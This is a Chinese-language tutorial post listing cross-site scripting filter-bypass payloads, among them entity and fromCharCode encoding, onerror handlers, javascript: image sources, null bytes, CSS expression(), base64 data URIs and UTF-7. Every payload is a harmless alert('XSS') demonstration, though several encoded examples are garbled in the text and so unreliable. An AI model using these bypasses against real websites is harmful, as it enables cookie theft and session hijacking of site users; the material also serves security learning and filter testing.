XSS绕过学习
目录
- 1绕过单引号
- 2绕过 SCRIPT 过滤
- 3使用 IMG 源
- 4使用制表符 换行符和回车符
- 5使用空白符
- 6双引号配对的 bug
- 7绕过css过滤器
- 8不全面的过滤器
- 9转义字符
- 10编码
1,绕过单引号
我们假设管理员在我们的单引号之前放置了一个“\”,有时候双引号之前也会放置,通
过一些类似 add_slashes 的函数可以实现,这个就是转义字符,我们先前的代码就会变成这样:
<INPUT type="text" value='\'><SCRIPT>alert(\"XSS\")</SCRIPT>'>
有一些方法可以继续,但是要看过滤的那个函数是怎么放的了。其中一个方法就是使用字符实体,学过 html 的都知道,就是一些特殊字符会用一些固有的符号组合来表示,举个例子,你不能用<>表示大于和小于, 因为这被解释为 html标签,但是,你如果要用,可以用下面的来代替。
| " | " | " | 双引号 |
| & | & | & | &符号 |
| < | < | < | 小于号 |
| > | > | > | 大于号 |
使用"或者"
来代替我们的双引号,有时候可以绕过过滤。 例子:
<script>alert("XSS")</script>
<script>alert("XSS")</script>
<script>alert(&XSS&)</script>
如果这都被过滤了。那我们可以使用 JavaScript 的 fromCharCode 函数,这个函数把指定的 Unicode
值转换成字符串。
比如:
<script>alert("XSS")</script>
<script>alert(String.fromCharCode(88,83,83))</script>
<INPUT type="text" value='\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'>
你可以使用 Mysql 数据库的 char(字符,字符)来转换字符到字符码,大家可以使用自己喜欢的就行了。
转码的工具还是很多的。
2,绕过 <SCRIPT> 过滤
有些过滤器会过滤到<script>标签,那上面的例子就都废了,但是。还是有方法插入 javascript 的。我
们看看事件处理器的例子。
<BODY onload="alert('XSS')">
在 html 里啊。这个 Onload 关键字就是一个事件,其他的所有标签都没有这个属性,但是 Body 标签是 有的。但是,有一定的局限性,如果 onload 事件在你的代码之前已经被处理了。那就不会触发了。。不 过我们可以继续看看 onerror 事件处理。
<IMG SRC="" onerror="alert('XSS')">
注意看,图片没有指定,也就是出错了。Onerror 这个事件就会发茶。引发 XSS 漏洞,没有用<script>
标签哦。
3,使用 IMG 源
Html 中最常用的两个标签 img 和 a href 一般是不会过滤的,一个指定图片,一个指定超链接。最危险的
事 img 标签。 下面是一些例子:
标准的样子:
<IMG SRC="javascript:alert('XSS');">
没有双引号和分号:
<IMG SRC=javascript:alert('XSS')>
过滤了双引号和<script>:
<IMG SRC=javascript:alert("XSS")>
使用 CharCode 绕过过滤:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
有经验的攻击者也可以把上面的全部转换成相等的 Ascii 码:
<IMG SRC=javascript:al

1; rt('XSS')>
使用 Ascii 表你可以自己试试。当然转换成 16 进制也是可以的。。
<IMG SRC=javascript:al
;& #x65;rt('XSS')>
4,使用制表符, 换行符和回车符
这些符号都是可以用来欺骗过滤器的。
<IMG SRC="javšscript:alert('XSS');">
上面的例子使用了最小的十六进制的制表符来欺骗过滤器。最后的输出结果不变
<IMG SRC="javascript:alert('XSS');">
| Type | Horizontal Tab | New line | Carriage Return |
| URL | %09 | %10 | %13 |
| Minimal Sized Hex | 	 | 
 | 
 |
| Maximum Sized Hex | |||
| Minimum Sized Decimal | 	 | 
 | 
 |
| Maximum Sized Decimal |
5,使用空白符
另一个可以绕过的就是空字符,这是最有效的工具了。。
下面这个就是个例子。:
<SCR%00IPT>alert("XSS")</SCRIPT>
空字符 (%00) 使得过滤器不能看到完整的 <SCRIPT> 标签. 只在 IE 6.0, IE 7.0 可以。
6,双引号配对的 bug
绕过这种过滤就是寻找闭合的标签,然后构造来突破
比如:
<IMG """><SCRIPT>alert('XSS')</SCRIPT>">
通常我们认为,img 标签里。前两个引号被认为是一对,什么都不做,下一个引号和最后的匹配,但是事 实不是这样,所有的浏览器都在试图修正这一问题。
结果最终如下:
<img><script>alert('xss')</script>">
7,绕过css过滤器
HTML 标签用来插入 javaScript 很有用,但是 CSS 也是可以的哦。有很多方式向 CSS 里插入 XSS,所
有更多的方法可以攻击,嘴尖的方法是吧 XSS 代码放到 LINK 方式引用的 CSS 的 href 属性里面去
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
Ie7 已经不允许了。但是 opera 和 ie6 还是可以的。。 另一个方式是使用<STYLE>标签,不是很常见,一般是论坛啊。允许用户设计自己的贴的源代码的时候。
<STYLE> a { width: expression(alert('XSS')) } </STYLE>
还有一种方式
<DIV STYLE="width: expression(alert('XSS'));">
8,不全面的过滤器
我们看看当开发者已经把能想到的都过滤了或者什么的。就安全了吗?不。我们可以依然可以向数据指令
(我前段时间还看到了。现在忘了这个准确的翻译了)里插入代码。我们通过 base64 加密
<script>alert(‘XSS’)</script>.
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
K"> 数据指令允许我们把完全的文档变成一个单一的字符串。在火狐等浏览器都可以用。尼玛没说具体的用法。 使用双引号
如果你需要使用双引号和单引号。使用一些诡异的用法把。。
<IMG SRC=`javascript:alert("Look its, 'XSS'")`>
9,转义字符
转义字符有时候很有用,可以对付一些简单的过滤器
<IMG SRC=`javascript:alert(\"XSS\")`>
结果如下:
<IMG SRC=`javascript:alert(\\"XSS\\")`>
10,编码
使用 utf-7 编码可以绕过
比如
<script>alert("XSS")</script>
使用 UTF-7 编码后 :
+ADw-script+AD4-alert(+ACI-XSS+ACI-)+ADw-/script+AD4-
然后所有的加号需要被改成%2b,否则会被浏览器识别为连接符
%2BADw-script%2BAD4-alert%281%29%2BADw-/script%2BAD4-
一个列表:
------------------------------------------------
| 字符 | 实体引用 |
| 空格 | %20 |
| / | %2F |
| " | %22 |
| ? | %3F |
| + | %2B |
Ok。就这样。
==========================================
XSS绕过学习的更多相关文章
- XSS基础学习
XSS基础学习 By:Mirror王宇阳 什么是XSS XSS攻击是指在网页中嵌入一段恶意的客户端Js脚本代码片段,JS脚本恶意代码可以获取用户的Cookie.URL跳转.内容篡改.会话劫持--等. ...
- XSS 绕过技术
XSS Cross-Site Scripting(XSS)是一类出现在 web 应用程序上的安全弱点,攻击者可以通过 XSS 插入一 些代码,使得访问页面的其他用户都可以看到,XSS 通常是可以被看作 ...
- XSS绕过<>进行测试
大家都知道,普遍的防御XSS攻击的方法是在后台对以下字符进行转义:<.>.’.”,但是经过本人的研究发现,在一些特殊场景下,即使对以上字符进行了转义,还是可以执行XSS攻击的. 首先看一个 ...
- XSS漏洞学习笔记
XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...
- XSS平台-学习
单点登录 - Telnet 404https://sso.telnet404.com/cas/login?service=https%3A%2F%2Fwww.seebug.org%2Faccounts ...
- 【奇淫巧技】XSS绕过技巧
XSS记录 1.首先是弹窗函数: alert(1) prompt(1) confirm(1)eval() 2.然后是字符的编码和浏览器的解析机制: 要讲编码绕过,首先我们要理解浏览器的解析过程,浏览器 ...
- 关于xss攻击学习的总结
关于xss攻击,网上相关的介绍很多,一搜索也是一大堆,这里我就对自己感兴趣的一些内容做个总结. xss简单介绍 成因:xss是将恶意代码(多是JavaScript)插入html代码中. 分类: 1. ...
- xss绕过过滤之方法
很多网站为了避免XSS的攻击,对用户的输入都采取了过滤,最常见的就是对<>转换成<以及>,经过转换以后<>虽然可在正确显示在页面上,但是已经不能构成代码语句了.这个 ...
- 反射型xss绕过IE xss filter
反射xss利用方法,绕过IE XSS Filter 假设 1.php页面代码如下: echo $_GET['str']; 使用IE浏览器访问该页面 1.php?str=<xss code> ...
随机推荐
- 51Nod 1175 区间中第K大的数 (可持久化线段树+离散)
1175 区间中第K大的数 基准时间限制:1 秒 空间限制:131072 KB 分值: 160 难度:6级算法题 一个长度为N的整数序列,编号0 - N - 1.进行Q次查询,查询编号i至j的所有 ...
- MT【111】画图估计
评:此类方程是超越方程,一般情况下无法解出具体的解,常见手段:1.画图 2.猜根.此处可以取特殊值a=2.5,b=3.5,容易知道此时$x=2.5\in(2,3)$
- 解题:JSOI 2011 柠檬
题面 显然分出来的每段两端颜色相同,否则把一边归给旁边的答案不变劣,于是可以$O(n^2)$地dp了:设$dp[i]$表示到第$i$个位置为止的最优解,$dp[i]=dp[j]+a[i]*(s[j]- ...
- POJ 1860 Currency Exchange / ZOJ 1544 Currency Exchange (最短路径相关,spfa求环)
POJ 1860 Currency Exchange / ZOJ 1544 Currency Exchange (最短路径相关,spfa求环) Description Several currency ...
- 一个具有缓存数据功能的HttpWebRequest工具类
背景:一个公共站点中的数据,供其它子站点共享,为了提高性能,简单实现了Http 1.1的缓存功能 特点:可以缓存Html数据到内存中;缓存具有过期时间;缓存过期后,通过再确认的方式来决定是否更新缓存; ...
- jQuery EasyUI API 中文文档 - 消息框(Messager)
http://www.cnblogs.com/Philoo/archive/2011/11/15/jeasyui_api_messager.html Messager 消息框 博客园 风流涕淌 (p ...
- 怎么在sublime里面显示编码格式
我要在sublime text里面显示编码格式 点击Preference—settings 然后再user里面加入这个 // Display file encoding in the status b ...
- python---django中文件上传
服务端: def upload(req): if req.method == "GET": return render(req, 'upload.html') else: prin ...
- vue npm start 自动打开网页
打开config/index.js,设置: autoOpenBrowser: true,(默认是false,把false改为true即可)
- Windows平台上谷歌浏览器损害电池
From:http://www.cnblogs.com/killerlegend/p/3909208.html Author:KillerLegend Date:2014.8.13 事情是这样的,我的 ...